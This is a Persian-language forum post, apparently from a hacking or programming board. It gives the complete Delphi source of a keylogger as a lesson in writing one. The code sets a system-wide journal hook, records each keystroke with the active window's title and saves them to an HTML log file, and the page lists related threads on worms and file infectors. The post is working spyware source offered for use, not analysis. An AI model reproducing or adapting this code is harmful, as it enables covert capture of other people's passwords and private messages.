• ¡Welcome to Square Theme!
  • This news are in header template.
  • Please ignore this message.
مهمان عزیز خوش‌آمدید. ورود عضــویت


امتیاز موضوع:
  • 0 رای - 0 میانگین
  • 1
  • 2
  • 3
  • 4
  • 5
Title: Simple keylogger in Delphi
حالت موضوعی
#1
Simple keylogger in Delphi
با سورس زیر یاد میگیرید که چگونه یک کیلاگر ستئه با دلفی نوشت

نقل قول:unit KeyloggerUnit;

interface

uses
Windows, Messages, SysUtils, Variants, Controls, Forms, Dialogs,
StdCtrls, ExtCtrls, Buttons, Classes;

type
TMainForm = class(TForm)
Memo: TMemo;
btnUpdateLogfile: TSpeedButton;
btnClearLogs: TSpeedButton;
FinalMemo: TMemo;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure btnUpdateLogfileClick(Sender: TObject);
procedure btnClearLogsClick(Sender: TObject);
end;

var
MainForm: TMainForm;
MainHook : HHOOK;
Wnd1,Wnd2 : array[0..255] of char;

implementation

{$R *.dfm}

function KeyboardHook(Code: Integer; wParam : WPARAM;
lParam : LPARAM): Longint; stdcall;
var
Buffer : TEventMsg;

procedure TranslateKey(Key : Byte);
begin
if (Key <> VK_LBUTTON) and (Key <> VK_RBUTTON) then
begin
GetWindowText(GetForegroundWindow, Wnd2, SizeOf(Wnd2));
if wnd1 <> wnd2 then
begin
MainForm.Memo.Lines.Add('<hr><font color="#FFFFFF"><b>'+wnd2+'</b></font><br>');
Wnd1 := Wnd2;
end;
end;
with MainForm do
begin
case Key of
VK_RETURN : Memo.Lines.Add('<font color="#FFFF00"><b>[Enter]</b><br></font>');
VK_BACK : Memo.Lines.Add('<font color="#FFFF00"><b>[Backspace]</b></font>');
VK_ESCAPE : Memo.Lines.Add('<font color="#FFFF00"><b>[Esc]</b></font>');
VK_SHIFT : Memo.Lines.Add('<font color="#FFFF00"><b>[Shift]</b></font>');
VK_MENU : Memo.Lines.Add('<font color="#FFFF00"><b>[Alt]</b></font>');
VK_CONTROL : Memo.Lines.Add('<font color="#FFFF00"><b>[Ctrl]</b></font>');
VK_DELETE : Memo.Lines.Add('<font color="#FFFF00"><b>[Delete]</b></font>');
VK_SPACE : Memo.Lines.Add(' ');
VK_MULTIPLY : Memo.Text := Memo.Text + '<font color="#FF0000">*</font>';
VK_ADD : Memo.Text := Memo.Text + '<font color="#FF0000">+</font>';
VK_SUBTRACT : Memo.Text := Memo.Text + '<font color="#FF0000">-</font>';
VK_DECIMAL : Memo.Text := Memo.Text + '<font color="#FF0000">.</font>';
VK_DIVIDE : Memo.Text := Memo.Text + '<font color="#FF0000">/</font>';
188 : Memo.Text := Memo.Text + '<font color="#FF0000">,</font>';
192 : Memo.Text := Memo.Text + '<font color="#FF0000">`</font>';
222 : Memo.Text := Memo.Text + '<font color="#FF0000">'+Chr(39)+'</font>';
220 : Memo.Text := Memo.Text + '<font color="#FF0000"></font>';
219 : Memo.Text := Memo.Text + '<font color="#FF0000">[</font>';
221 : Memo.Text := Memo.Text + '<font color="#FF0000">]</font>';
186 : Memo.Text := Memo.Text + '<font color="#FF0000">;</font>';
191 : Memo.Text := Memo.Text + '<font color="#FF0000">/</font>';
190 : Memo.Text := Memo.Text + '<font color="#FF0000">.</font>';
44 : Memo.Text := Memo.Text + '<font color="#FF0000">,</font>';
187 : Memo.Text := Memo.Text + '<font color="#FF0000">=</font>';
189 : Memo.Text := Memo.Text + '<font color="#FF0000">-</font>';
65 : Memo.Text := Memo.Text + '<font color="#0000FF">a</font>';
66 : Memo.Text := Memo.Text + '<font color="#0000FF">b</font>';
67 : Memo.Text := Memo.Text + '<font color="#0000FF">c</font>';
68 : Memo.Text := Memo.Text + '<font color="#0000FF">d</font>';
69 : Memo.Text := Memo.Text + '<font color="#0000FF">e</font>';
70 : Memo.Text := Memo.Text + '<font color="#0000FF">f</font>';
71 : Memo.Text := Memo.Text + '<font color="#0000FF">g</font>';
72 : Memo.Text := Memo.Text + '<font color="#0000FF">h</font>';
73 : Memo.Text := Memo.Text + '<font color="#0000FF">i</font>';
74 : Memo.Text := Memo.Text + '<font color="#0000FF">j</font>';
75 : Memo.Text := Memo.Text + '<font color="#0000FF">k</font>';
76 : Memo.Text := Memo.Text + '<font color="#0000FF">l</font>';
77 : Memo.Text := Memo.Text + '<font color="#0000FF">m</font>';
78 : Memo.Text := Memo.Text + '<font color="#0000FF">n</font>';
79 : Memo.Text := Memo.Text + '<font color="#0000FF">o</font>';
80 : Memo.Text := Memo.Text + '<font color="#0000FF">p</font>';
81 : Memo.Text := Memo.Text + '<font color="#0000FF">q</font>';
82 : Memo.Text := Memo.Text + '<font color="#0000FF">r</font>';
83 : Memo.Text := Memo.Text + '<font color="#0000FF">s</font>';
84 : Memo.Text := Memo.Text + '<font color="#0000FF">t</font>';
85 : Memo.Text := Memo.Text + '<font color="#0000FF">u</font>';
86 : Memo.Text := Memo.Text + '<font color="#0000FF">v</font>';
87 : Memo.Text := Memo.Text + '<font color="#0000FF">w</font>';
88 : Memo.Text := Memo.Text + '<font color="#0000FF">x</font>';
89 : Memo.Text := Memo.Text + '<font color="#0000FF">y</font>';
90 : Memo.Text := Memo.Text + '<font color="#0000FF">z</font>';
{ Numpad Keys }
VK_NUMPAD0 : Memo.Text := Memo.Text + '<font color="#00FF00">0</font>';
VK_NUMPAD1 : Memo.Text := Memo.Text + '<font color="#00FF00">1</font>';
VK_NUMPAD2 : Memo.Text := Memo.Text + '<font color="#00FF00">2</font>';
VK_NUMPAD3 : Memo.Text := Memo.Text + '<font color="#00FF00">3</font>';
VK_NUMPAD4 : Memo.Text := Memo.Text + '<font color="#00FF00">4</font>';
VK_NUMPAD5 : Memo.Text := Memo.Text + '<font color="#00FF00">5</font>';
VK_NUMPAD6 : Memo.Text := Memo.Text + '<font color="#00FF00">6</font>';
VK_NUMPAD7 : Memo.Text := Memo.Text + '<font color="#00FF00">7</font>';
VK_NUMPAD8 : Memo.Text := Memo.Text + '<font color="#00FF00">8</font>';
VK_NUMPAD9 : Memo.Text := Memo.Text + '<font color="#00FF00">9</font>';
{ Numbers }
48 : Memo.Text := Memo.Text + '<font color="#00FF00">0</font>';
49 : Memo.Text := Memo.Text + '<font color="#00FF00">1</font>';
50 : Memo.Text := Memo.Text + '<font color="#00FF00">2</font>';
51 : Memo.Text := Memo.Text + '<font color="#00FF00">3</font>';
52 : Memo.Text := Memo.Text + '<font color="#00FF00">4</font>';
53 : Memo.Text := Memo.Text + '<font color="#00FF00">5</font>';
54 : Memo.Text := Memo.Text + '<font color="#00FF00">6</font>';
55 : Memo.Text := Memo.Text + '<font color="#00FF00">7</font>';
56 : Memo.Text := Memo.Text + '<font color="#00FF00">8</font>';
57 : Memo.Text := Memo.Text + '<font color="#00FF00">9</font>';
//to capture other keys you must uncomment the line below:
//else Memo.Text := Memo.Text + Chr(Key);
end;
end;
end;

begin
Result := 0;
Buffer := PEventMsg(lParam)^;

if Buffer.Message = WM_KEYUP then
begin
TranslateKey(Buffer.paramL);
end;
end;

procedure TMainForm.FormCreate(Sender: TObject);
begin
MainHook := SetWindowsHookEx(WH_JOURNALRECORD, KeyboardHook, hInstance, 0);
DeleteFile('log.html');
end;

procedure TMainForm.FormDestroy(Sender: TObject);
begin
UnhookWindowsHookEx(MainHook);
end;

procedure TMainForm.btnUpdateLogfileClick(Sender: TObject);
begin
//save captured keystrokes to HTML file
FinalMemo.Lines.Add('<body bgcolor="#000000">');
FinalMemo.Lines.Add(Memo.Text);
FinalMemo.Lines.SaveToFile('log.html');
FinalMemo.Lines.Add('</body>');
Memo.Clear;
end;

procedure TMainForm.btnClearLogsClick(Sender: TObject);
begin
//clear the logs
FinalMemo.Clear;
end;

end.
گروه دور همی پارسی کدرز
https://t.me/joinchat/GxVRww3ykLynHFsdCvb7eg
 
پاسخ
  


موضوعات مشابه ...
موضوع نویسنده پاسخ بازدید آخرین ارسال
  Keylogger + Email + USB Spread Written in C# Amin_Mansouri 1 3,973 05-01-2014، 08:57 PM
آخرین ارسال: skeyt!
  Source Code IRC-Worm.Win32.Desire Delphi Amin_Mansouri 0 4,345 03-30-2012، 01:10 PM
آخرین ارسال: Amin_Mansouri
  Source Code LOA-worm Delphi Amin_Mansouri 0 5,892 03-30-2012، 01:05 PM
آخرین ارسال: Amin_Mansouri
  Source Code IRC-Worm.Hausex Delphi Amin_Mansouri 0 4,124 03-30-2012، 01:00 PM
آخرین ارسال: Amin_Mansouri
  delphi disable msconfig Amin_Mansouri 0 3,361 10-18-2011، 01:22 AM
آخرین ارسال: Amin_Mansouri
  Simple X11 Keylogger Amin_Mansouri 0 2,765 10-12-2011، 12:08 AM
آخرین ارسال: Amin_Mansouri
  [DELPHI]Virus EXE infector - Example, by DjH Amin_Mansouri 0 3,477 09-22-2011، 12:40 AM
آخرین ارسال: Amin_Mansouri
  Delphi Usb Worm Amin_Mansouri 0 3,906 08-30-2011، 11:54 AM
آخرین ارسال: Amin_Mansouri

پرش به انجمن:


Browsing: 1 مهمان